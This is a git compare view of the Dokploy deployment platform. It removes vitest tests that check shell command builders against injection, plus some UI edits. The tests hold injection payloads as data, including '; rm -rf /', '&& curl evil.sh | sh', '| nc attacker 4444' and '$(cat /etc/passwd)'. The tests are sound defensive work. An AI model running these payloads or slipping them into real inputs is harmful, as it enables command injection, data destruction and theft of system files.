Compare commits

..

1 Commits

Author SHA1 Message Date
Mauricio Siu
cfd600b197 docs: trim block comment on redactServerSshKey 2026-07-19 21:37:46 -06:00
162 changed files with 514 additions and 13776 deletions

5
.gitignore vendored
View File

@@ -43,7 +43,4 @@ yarn-error.log*
*.pem *.pem
.db .db
.playwright-*
.credentials

View File

@@ -1,106 +0,0 @@
import { execSync } from "node:child_process";
import { chmodSync, existsSync, rmSync, writeFileSync } from "node:fs";
import {
getLibsqlBackupCommand,
getMariadbBackupCommand,
getMongoBackupCommand,
getMysqlBackupCommand,
getPostgresBackupCommand,
} from "@dokploy/server/utils/backups/utils";
import {
getMariadbRestoreCommand,
getMongoRestoreCommand,
getMysqlRestoreCommand,
getPostgresRestoreCommand,
} from "@dokploy/server/utils/restore/utils";
import { afterAll, beforeAll, describe, expect, it } from "vitest";
// A stub replacing the real `docker` binary. It ignores exec/-i/$CONTAINER_ID,
// exports the -e VAR=val pairs, and runs the inner `sh -c <script>` — so the
// test exercises BOTH shell layers (outer /bin/sh building the docker command,
// and the inner shell) the way production does, without needing a container.
const stub = `/tmp/docker_stub_${process.pid}`;
const MARK = `/tmp/dokploy_dbbk_pwned_${process.pid}`;
beforeAll(() => {
writeFileSync(
stub,
`#!/bin/bash
shift # exec
envs=()
while [ "$1" = "-e" ]; do envs+=("$2"); shift 2; done
shift 2 # -i CONTAINER
shell="$1"; shift # bash|sh
shift # -c
env "\${envs[@]}" "$shell" -c "$1" </dev/null 2>/dev/null || true
`,
);
chmodSync(stub, 0o755);
});
afterAll(() => {
if (existsSync(stub)) rmSync(stub);
if (existsSync(MARK)) rmSync(MARK);
});
// Run a builder-produced command with `docker` pointed at the stub; return true
// if no injected command fired.
const runsSafely = (command: string) => {
if (existsSync(MARK)) rmSync(MARK);
const withStub = command.replace(/^docker /, `${stub} `);
try {
execSync(withStub, {
shell: "/bin/bash",
stdio: "ignore",
env: { ...process.env, CONTAINER_ID: "test" },
});
} catch {}
const fired = existsSync(MARK);
if (existsSync(MARK)) rmSync(MARK);
return !fired;
};
// Payloads that try to break out of every quoting style used in the builders.
const p = (mark: string) => [
`$(touch ${mark})`,
"`touch " + mark + "`",
`x'; touch ${mark}; '`,
`x"; touch ${mark}; echo "`,
`x; touch ${mark}`,
];
describe("database backup/restore command injection", () => {
const cases: Array<[string, (v: string) => string]> = [
["postgres backup (database)", (v) => getPostgresBackupCommand(v, "u")],
["postgres backup (user)", (v) => getPostgresBackupCommand("db", v)],
["mariadb backup (password)", (v) => getMariadbBackupCommand("db", "u", v)],
["mysql backup (database)", (v) => getMysqlBackupCommand(v, "pw")],
["mongo backup (user)", (v) => getMongoBackupCommand("db", v, "pw")],
["libsql backup (database)", (v) => getLibsqlBackupCommand(v)],
["postgres restore (database)", (v) => getPostgresRestoreCommand(v, "u")],
[
"mariadb restore (password)",
(v) => getMariadbRestoreCommand("db", "u", v),
],
["mysql restore (database)", (v) => getMysqlRestoreCommand(v, "pw")],
["mongo restore (user)", (v) => getMongoRestoreCommand("db", v, "pw")],
];
for (const [label, build] of cases) {
it(`${label} is not injectable`, () => {
for (const payload of p(MARK)) {
expect(runsSafely(build(payload))).toBe(true);
}
});
}
it("preserves a legitimate database name (passed through as env var)", () => {
const cmd = getPostgresBackupCommand("my-db_prod", "app_user");
// Values live in -e assignments, never inline in the pg_dump text.
expect(cmd).toContain("-e DB_NAME=my-db_prod");
expect(cmd).toContain("-e DB_USER=app_user");
expect(cmd).toContain(
'pg_dump -Fc --no-acl --no-owner -h localhost -U "$DB_USER"',
);
});
});

View File

@@ -1,70 +0,0 @@
import { execSync } from "node:child_process";
import { existsSync, rmSync } from "node:fs";
import { getRegistryTag } from "@dokploy/server/utils/cluster/upload";
import { parse, quote } from "shell-quote";
import { describe, expect, it } from "vitest";
const MARK = `/tmp/dokploy_regnode_pwned_${process.pid}`;
const runsSafely = (command: string) => {
if (existsSync(MARK)) rmSync(MARK);
try {
execSync(command, { shell: "/bin/sh", stdio: "ignore" });
} catch {}
const fired = existsSync(MARK);
if (existsSync(MARK)) rmSync(MARK);
return !fired;
};
const PAYLOADS = (m: string) => [
`$(touch ${m})`,
"`touch " + m + "`",
`x; touch ${m}`,
`x | touch ${m}`,
];
describe("cluster removeWorker nodeId injection", () => {
// docker node update/rm ${quote([nodeId])} — replace `docker node` with `:`.
it("escapes nodeId in drain/remove commands", () => {
for (const nodeId of PAYLOADS(MARK)) {
const drain = `: node update --availability drain ${quote([nodeId])}`;
const remove = `: node rm ${quote([nodeId])} --force`;
expect(runsSafely(drain)).toBe(true);
expect(runsSafely(remove)).toBe(true);
}
});
});
describe("swarm upload registry tag/push injection", () => {
// registryTag is built from registryUrl/username/imagePrefix (username and
// imagePrefix have no schema regex). Assert docker tag/push stay safe.
it("escapes a malicious imagePrefix flowing into the registry tag", () => {
for (const payload of PAYLOADS(MARK)) {
const registryTag = getRegistryTag(
{
registryUrl: "registry.example.com",
imagePrefix: payload,
username: "user",
} as any,
"app:latest",
);
const tagCmd = `: tag ${quote(["app:latest"])} ${quote([registryTag])}`;
const pushCmd = `: push ${quote([registryTag])}`;
expect(runsSafely(tagCmd)).toBe(true);
expect(runsSafely(pushCmd)).toBe(true);
}
});
it("keeps a legitimate registry tag intact", () => {
const tag = getRegistryTag(
{
registryUrl: "registry.example.com",
imagePrefix: "team",
username: "user",
} as any,
"myapp:1.2.3",
);
expect(tag).toBe("registry.example.com/team/myapp:1.2.3");
expect(parse(quote([tag]))).toEqual([tag]);
});
});

View File

@@ -1,104 +0,0 @@
import { execSync } from "node:child_process";
import { existsSync, rmSync } from "node:fs";
import { createCommand } from "@dokploy/server/utils/builders/compose";
import { parse, quote } from "shell-quote";
import { describe, expect, it } from "vitest";
const MARK = `/tmp/dokploy_compose_pwned_${process.pid}`;
const base = {
composeType: "docker-compose" as const,
appName: "compose-app",
sourceType: "raw" as const,
command: "",
composePath: "docker-compose.yml",
};
// createCommand output is interpolated as `docker ${command}` at the deploy
// sink; run `: ${command}` (docker -> no-op) and assert no injection fires.
const runsSafely = (command: string) => {
if (existsSync(MARK)) rmSync(MARK);
try {
execSync(`: ${command}`, { shell: "/bin/sh", stdio: "ignore" });
} catch {}
const fired = existsSync(MARK);
if (existsSync(MARK)) rmSync(MARK);
return !fired;
};
const PAYLOADS = [
`$(touch ${MARK})`,
"`touch " + MARK + "`",
`x; touch ${MARK}`,
`x | touch ${MARK}`,
];
describe("compose createCommand injection", () => {
it("escapes composePath (docker-compose)", () => {
for (const p of PAYLOADS) {
const cmd = createCommand({
...base,
sourceType: "github",
composePath: p,
} as any);
expect(runsSafely(cmd)).toBe(true);
}
});
it("escapes composePath (stack deploy)", () => {
for (const p of PAYLOADS) {
const cmd = createCommand({
...base,
composeType: "stack",
sourceType: "github",
composePath: p,
} as any);
expect(runsSafely(cmd)).toBe(true);
}
});
it("escapes appName", () => {
for (const p of PAYLOADS) {
const cmd = createCommand({
...base,
sourceType: "github",
appName: p,
composePath: "docker-compose.yml",
} as any);
expect(runsSafely(cmd)).toBe(true);
}
});
it("rejects a custom command containing shell control characters", () => {
for (const bad of [
"up -d; rm -rf /",
"up && curl evil | sh",
"up $(touch x)",
"up `id`",
]) {
expect(() => createCommand({ ...base, command: bad } as any)).toThrow(
/Invalid characters/,
);
}
});
it("allows a legitimate custom command", () => {
const cmd = createCommand({
...base,
command: "compose -f docker-compose.yml -p app up -d --build",
} as any);
expect(cmd).toBe("compose -f docker-compose.yml -p app up -d --build");
});
it("keeps a legitimate composePath intact", () => {
const cmd = createCommand({
...base,
sourceType: "github",
composePath: "deploy/docker-compose.prod.yml",
} as any);
expect(parse(cmd)).toContain("deploy/docker-compose.prod.yml");
expect(quote(["deploy/docker-compose.prod.yml"])).toBe(
"deploy/docker-compose.prod.yml",
);
});
});

View File

@@ -1,199 +0,0 @@
import type { Compose, ComposeSpecification } from "@dokploy/server";
import {
applyServiceNetworks,
declareUsedNetworksInRoot,
resolveServiceNetworks,
} from "@dokploy/server";
import { db } from "@dokploy/server/db";
import { beforeEach, expect, test, type vi } from "vitest";
import { parse } from "yaml";
const findManyMock = db.query.network.findMany as ReturnType<typeof vi.fn>;
beforeEach(() => {
findManyMock.mockReset();
findManyMock.mockResolvedValue([]);
});
const baseCompose = {
serverId: null,
isolatedDeployment: false,
} as unknown as Compose;
const withServiceNetworks = (
serviceNetworks: Compose["serviceNetworks"],
): Compose => ({ ...baseCompose, serviceNetworks });
test("applyServiceNetworks: no-op when serviceNetworks is empty", async () => {
const result = parse(`
services:
web:
image: nginx
`) as ComposeSpecification;
const injected = await applyServiceNetworks(result, withServiceNetworks([]));
expect(injected.size).toBe(0);
expect(result.services?.web?.networks).toBeUndefined();
expect(findManyMock).not.toHaveBeenCalled();
});
test("applyServiceNetworks: injects assigned network by networkId", async () => {
findManyMock.mockResolvedValue([{ networkId: "net-1", name: "shared-net" }]);
const result = parse(`
services:
web:
image: nginx
`) as ComposeSpecification;
const injected = await applyServiceNetworks(
result,
withServiceNetworks([
{
serviceName: "web",
networkIds: ["net-1"],
detachDokployNetwork: false,
},
]),
);
expect(injected.has("shared-net")).toBe(true);
expect(result.services?.web?.networks).toContain("shared-net");
});
test("applyServiceNetworks: detach removes dokploy-network and default", async () => {
const result = parse(`
services:
db:
image: postgres
networks:
- dokploy-network
- default
`) as ComposeSpecification;
const injected = await applyServiceNetworks(
result,
withServiceNetworks([
{ serviceName: "db", networkIds: [], detachDokployNetwork: true },
]),
);
expect(injected.size).toBe(0);
expect(result.services?.db?.networks).not.toContain("dokploy-network");
expect(result.services?.db?.networks).not.toContain("default");
});
test("applyServiceNetworks: unknown networkId is skipped", async () => {
findManyMock.mockResolvedValue([]);
const result = parse(`
services:
web:
image: nginx
`) as ComposeSpecification;
const injected = await applyServiceNetworks(
result,
withServiceNetworks([
{
serviceName: "web",
networkIds: ["missing"],
detachDokployNetwork: false,
},
]),
);
expect(injected.size).toBe(0);
});
test("applyServiceNetworks: skips services that don't exist in the compose", async () => {
findManyMock.mockResolvedValue([{ networkId: "net-1", name: "shared-net" }]);
const result = parse(`
services:
web:
image: nginx
`) as ComposeSpecification;
const injected = await applyServiceNetworks(
result,
withServiceNetworks([
{
serviceName: "ghost",
networkIds: ["net-1"],
detachDokployNetwork: false,
},
]),
);
expect(injected.size).toBe(0);
expect(result.services?.web?.networks).toBeUndefined();
});
test("declareUsedNetworksInRoot: declares dokploy-network only when used", () => {
const used = parse(`
services:
web:
image: nginx
networks:
- dokploy-network
`) as ComposeSpecification;
declareUsedNetworksInRoot(used, new Set());
expect(used.networks).toHaveProperty("dokploy-network");
const unused = parse(`
services:
web:
image: nginx
networks:
- default
`) as ComposeSpecification;
declareUsedNetworksInRoot(unused, new Set());
expect(unused.networks ?? {}).not.toHaveProperty("dokploy-network");
});
test("declareUsedNetworksInRoot: declares injected networks that are used", () => {
const result = parse(`
services:
web:
image: nginx
networks:
- shared-net
`) as ComposeSpecification;
declareUsedNetworksInRoot(result, new Set(["shared-net", "unused-net"]));
expect(result.networks).toHaveProperty("shared-net");
expect(result.networks ?? {}).not.toHaveProperty("unused-net");
});
test("resolveServiceNetworks: returns dokploy-network by default", async () => {
const resolved = await resolveServiceNetworks({});
expect(resolved).toEqual([{ Target: "dokploy-network" }]);
expect(findManyMock).not.toHaveBeenCalled();
});
test("resolveServiceNetworks: omits dokploy-network when detached", async () => {
const resolved = await resolveServiceNetworks({ detachDokployNetwork: true });
expect(resolved).toEqual([]);
});
test("resolveServiceNetworks: appends overlay networks by networkId", async () => {
findManyMock.mockResolvedValue([{ name: "overlay-a" }]);
const resolved = await resolveServiceNetworks({ networkIds: ["net-a"] });
expect(resolved).toEqual([
{ Target: "dokploy-network" },
{ Target: "overlay-a" },
]);
});
test("resolveServiceNetworks: networkSwarm override takes precedence", async () => {
const override = [{ Target: "custom-net" }];
const resolved = await resolveServiceNetworks({ networkSwarm: override });
expect(resolved).toBe(override);
expect(findManyMock).not.toHaveBeenCalled();
});

View File

@@ -1,41 +0,0 @@
import { execSync } from "node:child_process";
import { existsSync, rmSync } from "node:fs";
import { parse, quote } from "shell-quote";
import { describe, expect, it } from "vitest";
// The six database deploy functions (postgres/mysql/mariadb/mongo/redis/libsql)
// build `docker pull ${quote([dockerImage])}` for the remote (execAsyncRemote)
// path. `docker` is replaced by `:` so only the injection surface is exercised.
const MARK = `/tmp/dokploy_dbimg_pwned_${process.pid}`;
const PAYLOADS = [
"$(touch %MARK%)",
"`touch %MARK%`",
"redis:7; touch %MARK%",
"redis:7 && touch %MARK%",
"redis:7 | touch %MARK%",
];
describe("database service dockerImage command injection", () => {
it("does not execute injected commands from dockerImage", () => {
for (const template of PAYLOADS) {
if (existsSync(MARK)) rmSync(MARK);
const dockerImage = template.replace("%MARK%", MARK);
const command = `: pull ${quote([dockerImage])}`;
try {
execSync(command, { shell: "/bin/sh", stdio: "ignore" });
} catch {}
expect(existsSync(MARK)).toBe(false);
}
if (existsSync(MARK)) rmSync(MARK);
});
it("keeps a legitimate image tag intact", () => {
expect(parse(quote(["postgres:16.4-alpine"]))).toEqual([
"postgres:16.4-alpine",
]);
expect(parse(quote(["ghcr.io/org/db:latest"]))).toEqual([
"ghcr.io/org/db:latest",
]);
});
});

View File

@@ -1,66 +0,0 @@
import { execSync } from "node:child_process";
import { existsSync, rmSync } from "node:fs";
import { parse, quote } from "shell-quote";
import { describe, expect, it } from "vitest";
// Reproduces the escaping applied at the docker build/pull sinks and asserts no
// payload can break out of the command. `docker`/`cd` are replaced by `:` so the
// test exercises only the injection surface, not real docker.
const MARK = `/tmp/dokploy_docker_pwned_${process.pid}`;
const runAndCheckSafe = (command: string) => {
if (existsSync(MARK)) rmSync(MARK);
try {
execSync(command, { shell: "/bin/sh", stdio: "ignore" });
} catch {
// no-op stand-ins may exit non-zero; only the marker matters.
}
const fired = existsSync(MARK);
if (existsSync(MARK)) rmSync(MARK);
return !fired;
};
const PAYLOADS = [
"$(touch %MARK%)",
"`touch %MARK%`",
"x; touch %MARK%",
"x && touch %MARK%",
"x | touch %MARK%",
];
describe("docker build/pull command injection", () => {
it("dockerImage (buildRemoteDocker: docker pull / echo) is escaped", () => {
for (const p of PAYLOADS) {
const dockerImage = p.replace("%MARK%", MARK);
const command = `: pull ${quote([dockerImage])}; : echo ${quote([`Pulling ${dockerImage}`])}`;
expect(runAndCheckSafe(command)).toBe(true);
}
});
it("dockerContextPath (docker-file: cd) is escaped", () => {
for (const p of PAYLOADS) {
const dockerContextPath = p.replace("%MARK%", MARK);
const command = `: cd ${quote([dockerContextPath])}`;
expect(runAndCheckSafe(command)).toBe(true);
}
});
it("publishDirectory (nixpacks: docker cp source path) is escaped", () => {
for (const p of PAYLOADS) {
const publishDirectory = p.replace("%MARK%", MARK);
const containerId = "buildabc";
const command = `: cp ${quote([`${containerId}:/app/${publishDirectory}/.`])} /dest`;
expect(runAndCheckSafe(command)).toBe(true);
}
});
it("keeps a legitimate image / path intact as a single token", () => {
// Escaping may add backslashes (e.g. before ':'), but the shell must parse
// the result back to exactly the original single token.
expect(parse(quote(["nginx:1.27-alpine"]))).toEqual(["nginx:1.27-alpine"]);
expect(parse(quote(["registry.io/team/app:tag"]))).toEqual([
"registry.io/team/app:tag",
]);
expect(parse(quote(["dist/static"]))).toEqual(["dist/static"]);
});
});

View File

@@ -32,8 +32,6 @@ const baseApp: ApplicationNested = {
railpackVersion: "0.15.4", railpackVersion: "0.15.4",
applicationId: "", applicationId: "",
previewLabels: [], previewLabels: [],
networkIds: [],
detachDokployNetwork: false,
createEnvFile: true, createEnvFile: true,
bitbucketRepositorySlug: "", bitbucketRepositorySlug: "",
herokuVersion: "", herokuVersion: "",

View File

@@ -1,89 +0,0 @@
import { cloneGitRepository } from "@dokploy/server/utils/providers/git";
import { parse, quote } from "shell-quote";
import { describe, expect, it } from "vitest";
// How git-provider commands escape a single user value before it reaches the shell.
const shellArg = (value: string) => quote([String(value ?? "")]);
// Payloads that, if reached a shell unescaped, would execute commands.
const INJECTION_PAYLOADS = [
"$(touch /tmp/pwned)",
"`id`",
"; rm -rf /",
"&& curl evil.sh | sh",
"| nc attacker 4444",
"https://github.com/o/r.git$(whoami)",
"main; wget http://evil",
"$(cat /etc/passwd)",
];
// Legit values that must survive escaping unchanged.
const LEGIT_VALUES = [
"main",
"feature/login-v2",
"release-1.2.3",
"https://github.com/dokploy/dokploy.git",
"https://gitlab.example.com/group/sub/project.git",
];
describe("git provider shell escaping (quote)", () => {
it("collapses every injection payload into a single literal token (no shell operators)", () => {
for (const payload of INJECTION_PAYLOADS) {
const parsed = parse(shellArg(payload));
// A safely escaped value parses back to exactly the original string,
// as ONE token. If escaping failed, parse() would emit operator
// objects such as { op: ";" } or { op: "$(" } instead.
expect(parsed).toEqual([payload]);
}
});
it("leaves legitimate URLs and branch names intact", () => {
for (const value of LEGIT_VALUES) {
expect(parse(shellArg(value))).toEqual([value]);
}
});
});
describe("cloneGitRepository command (customGitUrl path)", () => {
const buildClone = (customGitUrl: string, customGitBranch: string) =>
cloneGitRepository({
appName: "demo-app",
customGitUrl,
customGitBranch,
customGitSSHKeyId: null,
enableSubmodules: false,
serverId: null,
type: "application",
});
// A malicious substring, once escaped, must survive parsing as inert literal
// text and never as an executable command/operator. `parse()` turns command
// substitution and control operators into { op } objects, so we assert the
// injected marker only ever shows up inside a plain string token.
const markerLeaksAsShellSyntax = (command: string, marker: string) => {
const tokens = parse(command);
return tokens.some(
(t) => typeof t !== "string" && JSON.stringify(t).includes(marker),
);
};
it("does not let a malicious customGitUrl inject shell operators", async () => {
const command = await buildClone(
"https://github.com/o/r.git$(touch /tmp/pwned)",
"main",
);
expect(markerLeaksAsShellSyntax(command, "touch")).toBe(false);
expect(command).toContain("git clone");
});
it("does not let a malicious customGitBranch inject shell operators", async () => {
const command = await buildClone(
"https://github.com/o/r.git",
"main; touch /tmp/pwned",
);
// The branch is a single quoted token, so its ";" contributes no extra
// operator and `touch` never becomes a runnable statement.
expect(markerLeaksAsShellSyntax(command, "touch")).toBe(false);
expect(command).not.toContain("touch /tmp/pwned;");
});
});

View File

@@ -1,91 +0,0 @@
import { TRPCError } from "@trpc/server";
import { beforeEach, describe, expect, it, vi } from "vitest";
// Mock the DB so the REAL getAccessibleGitProviderIds (called internally by
// assertGitProviderAccess) runs against controlled data. Mocking the exported
// function would NOT intercept the intra-module call, so we mock one layer down.
const mockDb = vi.hoisted(() => ({
query: {
gitProvider: {
findMany: vi.fn(),
},
member: {
findFirst: vi.fn(),
},
},
}));
vi.mock("@dokploy/server/db", () => ({ db: mockDb }));
const mockHasValidLicense = vi.hoisted(() => vi.fn());
vi.mock("@dokploy/server/services/proprietary/license-key", () => ({
hasValidLicense: mockHasValidLicense,
}));
import { assertGitProviderAccess } from "@dokploy/server/services/git-provider";
const ORG = "org-1";
const USER = "user-member";
const session = { userId: USER, activeOrganizationId: ORG };
// Provider owned by USER within ORG -> should be accessible.
const providerMine = {
gitProviderId: "gp-mine",
userId: USER,
sharedWithOrganization: false,
};
// Provider owned by someone else within ORG, not shared, not assigned.
const providerOther = {
gitProviderId: "gp-other",
userId: "user-2",
sharedWithOrganization: false,
};
beforeEach(() => {
vi.clearAllMocks();
mockHasValidLicense.mockResolvedValue(false);
mockDb.query.gitProvider.findMany.mockResolvedValue([
providerMine,
providerOther,
]);
mockDb.query.member.findFirst.mockResolvedValue({
role: "member",
accessedGitProviders: [],
});
});
describe("assertGitProviderAccess (git provider IDOR guard)", () => {
it("rejects a provider from another organization with NOT_FOUND (cross-org IDOR)", async () => {
await expect(
assertGitProviderAccess(session, {
gitProviderId: "gp-mine",
organizationId: "org-2",
}),
).rejects.toMatchObject({ code: "NOT_FOUND" });
});
it("rejects a same-org provider the caller is not entitled to with FORBIDDEN", async () => {
await expect(
assertGitProviderAccess(session, {
gitProviderId: "gp-other",
organizationId: ORG,
}),
).rejects.toMatchObject({ code: "FORBIDDEN" });
});
it("allows a same-org provider the caller owns", async () => {
await expect(
assertGitProviderAccess(session, {
gitProviderId: "gp-mine",
organizationId: ORG,
}),
).resolves.toBeUndefined();
});
it("throws a TRPCError so tRPC maps the HTTP status", async () => {
const err = await assertGitProviderAccess(session, {
gitProviderId: "gp-mine",
organizationId: "org-2",
}).catch((e) => e);
expect(err).toBeInstanceOf(TRPCError);
});
});

View File

@@ -1,41 +0,0 @@
import { execSync } from "node:child_process";
import { existsSync, rmSync } from "node:fs";
import { quote } from "shell-quote";
import { describe, expect, it } from "vitest";
// Mirrors how getNodeInfo builds its command in services/docker.ts:
// `docker node inspect ${quote([nodeId])} --format '{{json .}}'`
// We swap `docker node inspect` for `:` (a no-op) so the test only exercises
// whether the nodeId payload can break out of the command, not real docker.
const buildCommand = (nodeId: string) =>
`: node inspect ${quote([nodeId])} --format '{{json .}}'`;
const INJECTION_NODE_IDS = [
"$(touch %MARK%)",
"`touch %MARK%`",
"; touch %MARK%",
"abc | touch %MARK%",
"&& touch %MARK%",
];
describe("getNodeInfo nodeId command injection", () => {
it("does not execute injected commands from the nodeId", () => {
const mark = `/tmp/dokploy_swarm_pwned_${process.pid}`;
for (const template of INJECTION_NODE_IDS) {
if (existsSync(mark)) rmSync(mark);
const nodeId = template.replace("%MARK%", mark);
try {
execSync(buildCommand(nodeId), { shell: "/bin/sh", stdio: "ignore" });
} catch {
// A non-zero exit from the no-op is fine; we only care about the marker.
}
expect(existsSync(mark)).toBe(false);
}
if (existsSync(mark)) rmSync(mark);
});
it("keeps a legitimate node id intact as a single literal token", () => {
const nodeId = "abc123def456";
expect(quote([nodeId])).toBe(nodeId);
});
});

View File

@@ -7,8 +7,6 @@ const baseApp: ApplicationNested = {
rollbackActive: false, rollbackActive: false,
applicationId: "", applicationId: "",
previewLabels: [], previewLabels: [],
networkIds: [],
detachDokployNetwork: false,
createEnvFile: true, createEnvFile: true,
bitbucketRepositorySlug: "", bitbucketRepositorySlug: "",
herokuVersion: "", herokuVersion: "",

View File

@@ -1,104 +0,0 @@
import { beforeEach, describe, expect, it, vi } from "vitest";
// Mock the permission + server helpers the wss authorizer composes.
const mockHasPermission = vi.hoisted(() => vi.fn());
const mockFindMember = vi.hoisted(() => vi.fn());
const mockCheckServiceAccess = vi.hoisted(() => vi.fn());
vi.mock("@dokploy/server/services/permission", () => ({
hasPermission: mockHasPermission,
findMemberByUserId: mockFindMember,
checkServiceAccess: mockCheckServiceAccess,
}));
const mockGetAccessibleServerIds = vi.hoisted(() => vi.fn());
vi.mock("@dokploy/server", () => ({
getAccessibleServerIds: mockGetAccessibleServerIds,
}));
import {
canAccessDockerOverWss,
canAccessTerminalOverWss,
} from "@/server/wss/authorize";
const USER = { id: "user-1" };
const SESSION = { activeOrganizationId: "org-1" };
beforeEach(() => {
vi.clearAllMocks();
});
describe("canAccessDockerOverWss", () => {
it("denies when there is no user or session", async () => {
expect(await canAccessDockerOverWss(null, SESSION)).toBe(false);
expect(await canAccessDockerOverWss(USER, null)).toBe(false);
});
it("denies a member without docker permission", async () => {
mockHasPermission.mockResolvedValue(false);
expect(await canAccessDockerOverWss(USER, SESSION)).toBe(false);
});
it("allows when the caller has docker permission (no server)", async () => {
mockHasPermission.mockResolvedValue(true);
expect(await canAccessDockerOverWss(USER, SESSION)).toBe(true);
});
it("denies a remote server the caller cannot access, even with docker permission", async () => {
mockHasPermission.mockResolvedValue(true);
mockGetAccessibleServerIds.mockResolvedValue(new Set(["other-server"]));
expect(await canAccessDockerOverWss(USER, SESSION, "srv-1")).toBe(false);
});
it("allows a remote server the caller can access", async () => {
mockHasPermission.mockResolvedValue(true);
mockGetAccessibleServerIds.mockResolvedValue(new Set(["srv-1"]));
expect(await canAccessDockerOverWss(USER, SESSION, "srv-1")).toBe(true);
});
it("denies when the container belongs to a service the caller cannot access", async () => {
mockCheckServiceAccess.mockRejectedValue(new Error("no access"));
expect(await canAccessDockerOverWss(USER, SESSION, null, "svc-1")).toBe(
false,
);
});
it("allows service access even without docker permission or server access", async () => {
// A member granted the service but without canAccessToDocker, whose
// service runs on a server they were not individually granted, must still
// read its logs — matches application.readLogs (service access only).
mockHasPermission.mockResolvedValue(false);
mockGetAccessibleServerIds.mockResolvedValue(new Set());
mockCheckServiceAccess.mockResolvedValue(undefined);
expect(
await canAccessDockerOverWss(USER, SESSION, "srv-remote", "svc-1"),
).toBe(true);
// Service path is authoritative — it must not fall through to docker/server.
expect(mockHasPermission).not.toHaveBeenCalled();
expect(mockGetAccessibleServerIds).not.toHaveBeenCalled();
});
});
describe("canAccessTerminalOverWss", () => {
it("denies the local host terminal to a plain member", async () => {
mockFindMember.mockResolvedValue({ role: "member" });
expect(await canAccessTerminalOverWss(USER, SESSION, "local")).toBe(false);
});
it("allows the local host terminal to an owner", async () => {
mockFindMember.mockResolvedValue({ role: "owner" });
expect(await canAccessTerminalOverWss(USER, SESSION, "local")).toBe(true);
});
it("allows the local host terminal to an admin", async () => {
mockFindMember.mockResolvedValue({ role: "admin" });
expect(await canAccessTerminalOverWss(USER, SESSION, "local")).toBe(true);
});
it("gates a remote server terminal on server access", async () => {
mockGetAccessibleServerIds.mockResolvedValue(new Set(["srv-1"]));
expect(await canAccessTerminalOverWss(USER, SESSION, "srv-1")).toBe(true);
expect(await canAccessTerminalOverWss(USER, SESSION, "srv-2")).toBe(false);
// role lookup must not be needed for the remote path
expect(mockFindMember).not.toHaveBeenCalled();
});
});

View File

@@ -185,7 +185,7 @@ export const ShowImport = ({ composeId }: Props) => {
</Button> </Button>
</div> </div>
<Dialog open={showModal} onOpenChange={setShowModal}> <Dialog open={showModal} onOpenChange={setShowModal}>
<DialogContent className="sm:max-w-3xl max-h-[85vh] flex flex-col"> <DialogContent className="max-w-[50vw]">
<DialogHeader> <DialogHeader>
<DialogTitle className="text-2xl font-bold"> <DialogTitle className="text-2xl font-bold">
Template Information Template Information
@@ -199,7 +199,7 @@ export const ShowImport = ({ composeId }: Props) => {
</DialogDescription> </DialogDescription>
</DialogHeader> </DialogHeader>
<div className="flex flex-col gap-6 flex-1 min-h-0 overflow-y-auto pr-1"> <div className="flex flex-col gap-6">
<div className="space-y-4"> <div className="space-y-4">
<div className="flex items-center gap-2"> <div className="flex items-center gap-2">
<Code2 className="h-5 w-5 text-primary" /> <Code2 className="h-5 w-5 text-primary" />
@@ -207,14 +207,12 @@ export const ShowImport = ({ composeId }: Props) => {
Docker Compose Docker Compose
</h3> </h3>
</div> </div>
<div className="max-h-[45vh] overflow-auto rounded-md border"> <CodeEditor
<CodeEditor language="yaml"
language="yaml" value={templateInfo?.compose || ""}
value={templateInfo?.compose || ""} className="font-mono"
className="font-mono" readOnly
readOnly />
/>
</div>
</div> </div>
<Separator /> <Separator />

View File

@@ -271,7 +271,6 @@ export const ShowGeneralApplication = ({ applicationId }: Props) => {
<DockerTerminalModal <DockerTerminalModal
appName={data?.appName || ""} appName={data?.appName || ""}
serverId={data?.serverId || ""} serverId={data?.serverId || ""}
serviceId={applicationId}
> >
<Button <Button
variant="outline" variant="outline"

View File

@@ -50,10 +50,9 @@ export const badgeStateColor = (state: string) => {
interface Props { interface Props {
appName: string; appName: string;
serverId?: string; serverId?: string;
serviceId?: string;
} }
export const ShowDockerLogs = ({ appName, serverId, serviceId }: Props) => { export const ShowDockerLogs = ({ appName, serverId }: Props) => {
const [containerId, setContainerId] = useState<string | undefined>(); const [containerId, setContainerId] = useState<string | undefined>();
const [option, setOption] = useState<"swarm" | "native">("native"); const [option, setOption] = useState<"swarm" | "native">("native");
@@ -183,7 +182,6 @@ export const ShowDockerLogs = ({ appName, serverId, serviceId }: Props) => {
serverId={serverId || ""} serverId={serverId || ""}
containerId={containerId || "select-a-container"} containerId={containerId || "select-a-container"}
runType={option} runType={option}
serviceId={serviceId}
/> />
</CardContent> </CardContent>
</Card> </Card>

View File

@@ -6,7 +6,6 @@ import { toast } from "sonner";
import { z } from "zod"; import { z } from "zod";
import { AlertBlock } from "@/components/shared/alert-block"; import { AlertBlock } from "@/components/shared/alert-block";
import { CodeEditor } from "@/components/shared/code-editor"; import { CodeEditor } from "@/components/shared/code-editor";
import { Badge } from "@/components/ui/badge";
import { Button } from "@/components/ui/button"; import { Button } from "@/components/ui/button";
import { import {
Card, Card,
@@ -112,10 +111,7 @@ export const IsolatedDeploymentTab = ({ composeId }: Props) => {
return ( return (
<Card className="bg-background"> <Card className="bg-background">
<CardHeader> <CardHeader>
<CardTitle className="text-xl flex items-center gap-2"> <CardTitle className="text-xl">Enable Isolated Deployment</CardTitle>
Enable Isolated Deployment
<Badge variant="yellow">Deprecated</Badge>
</CardTitle>
<CardDescription> <CardDescription>
Configure isolated deployment to the compose file. Configure isolated deployment to the compose file.
<div className="text-sm text-muted-foreground flex flex-col gap-2"> <div className="text-sm text-muted-foreground flex flex-col gap-2">
@@ -142,11 +138,6 @@ export const IsolatedDeploymentTab = ({ composeId }: Props) => {
</CardHeader> </CardHeader>
<CardContent> <CardContent>
<div className="space-y-4"> <div className="space-y-4">
<AlertBlock type="warning">
Isolated deployment is deprecated. Use the Networks section above to
attach networks per service and detach them from dokploy-network
it is declarative and does not break on restarts.
</AlertBlock>
{isError && <AlertBlock type="error">{error?.message}</AlertBlock>} {isError && <AlertBlock type="error">{error?.message}</AlertBlock>}
<Form {...form}> <Form {...form}>
<form <form

View File

@@ -55,14 +55,12 @@ interface Props {
appName: string; appName: string;
serverId?: string; serverId?: string;
appType: "stack" | "docker-compose"; appType: "stack" | "docker-compose";
serviceId?: string;
} }
export const ShowComposeContainers = ({ export const ShowComposeContainers = ({
appName, appName,
appType, appType,
serverId, serverId,
serviceId,
}: Props) => { }: Props) => {
const { data, isPending, refetch } = const { data, isPending, refetch } =
